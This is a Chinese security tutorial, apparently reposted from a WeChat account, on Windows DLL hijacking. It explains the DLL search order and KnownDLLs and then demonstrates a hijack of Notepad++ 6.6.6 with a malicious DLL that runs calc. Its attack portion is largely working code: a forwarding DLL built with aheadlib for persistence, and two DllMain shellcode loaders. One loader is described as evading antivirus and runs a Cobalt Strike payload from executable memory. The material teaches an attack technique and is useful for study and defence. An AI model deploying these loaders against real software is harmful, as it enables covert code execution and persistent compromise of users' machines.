Dll(动态链接库)作为 windows 的函数库,有助于促进代码的模块化、代码重用、有效的内存使用并减少磁盘空间;一个应用程序运行时可能需要依赖于多个 dll 的函数才能完成功能,如果控制其中任一dll,那么便可以控制该应用程序的执行流程。
Linux下静态库名字一般是: libxxx.a windows则是: *.lib、*.h
Linux下动态库名字一般是: libxxx.so windows则是: .dll、.OCX(..etc)
1.VS2017,新建DLL项目
2. 初始dll文件
// dllmain.cpp : 定义 DLL 应用程序的入口点。
BOOL APIENTRY DllMain( HMODULE hModule, // 模块句柄
DWORD ul_reason_for_call, // 调用原因
LPVOID lpReserved // 参数保留
)
{
switch (ul_reason_for_call) // 根据调用原因选择不不同的加载方式
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
在dllmain.cpp
文件下引入Windows.h
库, 编写一个msg
的函数。
// dllmain.cpp : 定义 DLL 应用程序的入口点。
void msg() {
MessageBox(0, L"Dll Load successful!", 0, 0);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
然后需要在头文件framework.h
中导出msg
函数
// Windows 头文件
extern "C" __declspec(dllexport) void msg(void)
_declspec是关键字,用于表示该函数、变量时导出、导入的,括号里dllexport意为其将要导出,dllimport意为其将要导入。
extern "C"用于指定编译器编译后的函数别名,这样使用时才能正确查找到。即对于变量extern int a;这样的直接写为extern "C" int a;即可,函数同理。
然后进行编译,得到dlldemo.dll
新建项目,编译生成test.exe
// test.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
using namespace std;
int main()
{
// 定义一个函数类DLLFUNC
typedef void(*DLLFUNC)(void);
DLLFUNC GetDllfunc = NULL;
// 指定动态加载dll库
HINSTANCE hinst = LoadLibrary(L"dlldemo.dll");
if (hinst != NULL) {
// 获取函数位置
GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");
}
if (GetDllfunc != NULL) {
//运行msg函数
(*GetDllfunc)();
}
}
成功调用dlldemo.dll
原理
如果在进程尝试加载一个DLL时没有并没有指定DLL的绝对路径,那么Windows会尝试去按照顺序搜索这些特定目录来查找这个DLL,如果攻击者能够将恶意的DLL放在优先于正常DLL所在的目录,那么就能够欺骗系统去加载恶意的DLL,形成"dll劫持"。
DLL路径搜索目录顺序
1.应用程序加载的目录
2.系统目录,使用 GetSystemDirectory 获取该路径
3.16 位系统目录
4.Windows 目录,使用 GetWindowsDirectory 获取该路径
5.当前目录
6.PATH 环境变量中列出的目录
Know DLLs注册表项
从Windows7 之后, 微软为了更进一步的防御系统的DLL被劫持,将一些容易被劫持的系统DLL写进了一个注册表项中,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用。
默认情况HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession ManagerSafeDllSearchMode
处于开启状态;如果手动设置为 0,关闭该安全选项,搜索顺序为:在以上顺序基础上,将 5.当前目录 修改至 2.系统目录 的位置,其他顺移。
注册表路径如下:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs
另外当应用程序加载 dll 时如果仅指定 dll 名称时,那么将按照以上顺序搜索 dll 文件,不过在加载之前还需要满足以下两条规范:
-
当内存中已加载相同模块名称的 dll 时,系统将直接加载该 dll,不会进行搜索;除非设置了 dll 重定向选项;
-
如果要加载的 dll 模块属于 Known DLLs,系统直接加载系统目录下的该 dll,不会进行搜索。
Windows操作系统通过“DLL路径搜索目录顺序”和“Know DLLs注册表项”来确定应用程序所要调用的DLL的路径,当一个进程尝试加载一个dll的时候,会先尝试搜索程序所处的目录,如果没有找到,则搜索系统即 SYSTEM32 目录,若还没有找到,则向下搜索16位系统目录即 SYSTEM 目录,然后Windows目录,当前目录,Path环境变量的各个目录。
这样的加载顺序很容易就会导致一个系统的dll被劫持,只要攻击者将目标文件和恶意dll放在一起即可,导致恶意dll搜索顺序优先于系统dll目录加载,就能够欺骗系统去加载恶意的DLL,形成"dll劫持"。
手动劫持
NotePad++(6.6.6)
用到的工具:Process Monitor v3.60
通过 Process Monitor 监控dll调用是一种最基础的寻找dll劫持的方式
设置过滤规则: (默认的不需要改变)
Path ends with .dll
Result is NAME NOT FOUND
Process Name contains notepad++.exe
然后这里找一个需要用到loadlibrary
这个api的dll,这里找有这个api的原因是因为如果该dll的调用栈中存在有 **LoadLibrary(Ex)**
,说明这个DLL是被进程所动态加载的。在这种利用场景下,伪造的DLL文件不需要存在任何导出函数即可被成功加载,即使加载后进程内部出错,也是在DLL被成功加载之后的事情。
LoadLibrary和LoadLibraryEx一个是本地加载,一个是远程加载,如果DLL不在调用的同一目录下,就可以使用LoadLibrary(L"DLL绝对路径")加载。但是如果DLL内部又调用一个DLL,就需要使用LoadLibraryEx进行远程加载,语法如下:
LoadLibraryEx(“DLL绝对路径”, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
LoadLibraryEx
的最后一个参数设置为LOAD_WITH_ALTERED_SEARCH_PATH
即可让系统dll搜索顺序从我们设置的目录开始
找到可以被劫持的dll文件后,我们需要编写恶意dll
// dllmain.cpp : 定义 DLL 应用程序的入口点。
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("calc");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
然后编译生成恶意dll,并放到Notepad++的根目录下
运行Notepad++.exe便会弹出计算器
EasyConnectInstaller(7.6.1.1)
转发劫持
使用恶意 dll 替换原文件,应用程序便可以加载我们的 dll 并执行恶意代码,但是应用程序运行依赖于 dll 提供的函数,恶意 dll 必须提供相同的功能才能保证应用程序的正常运行。这里利用了aheadlib
工具,进行直接转发函数。
权限维持
1.这里利用到的测试环境是之前自己写的testDll.exe,进行直接转发函数,尝试加载shellcode(不免杀)
//导出函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
unsigned char buf[] ="shellcode"
size_t size = sizeof(buf);
char* inject = (char *)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(inject, buf, size);
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)inject, 0, 0, 0);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}
return TRUE;
}
2.shellcode写内存(免杀)
CS生成RAW Payload,然后读取shellcode,申请内存,写内存,执行函数
//导出函数
DWORD WINAPI DoMagic(LPVOID lpParameter)
{
FILE* fp;
size_t size;
unsigned char* buffer;
fp = fopen("payload.bin", "rb");
fseek(fp, 0, SEEK_END);
size = ftell(fp);
fseek(fp, 0, SEEK_SET);
buffer = (unsigned char*)malloc(size);
fread(buffer, size, 1, fp);
void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buffer, size);
((void(*) ())exec)();
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
HANDLE threadHandle;
threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
监制:船长、铁子 策划:格纸 文案:NaNNNNNN 美工:青柠
原文始发于微信公众号(千寻安服):千寻笔记:DLL劫持初探
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论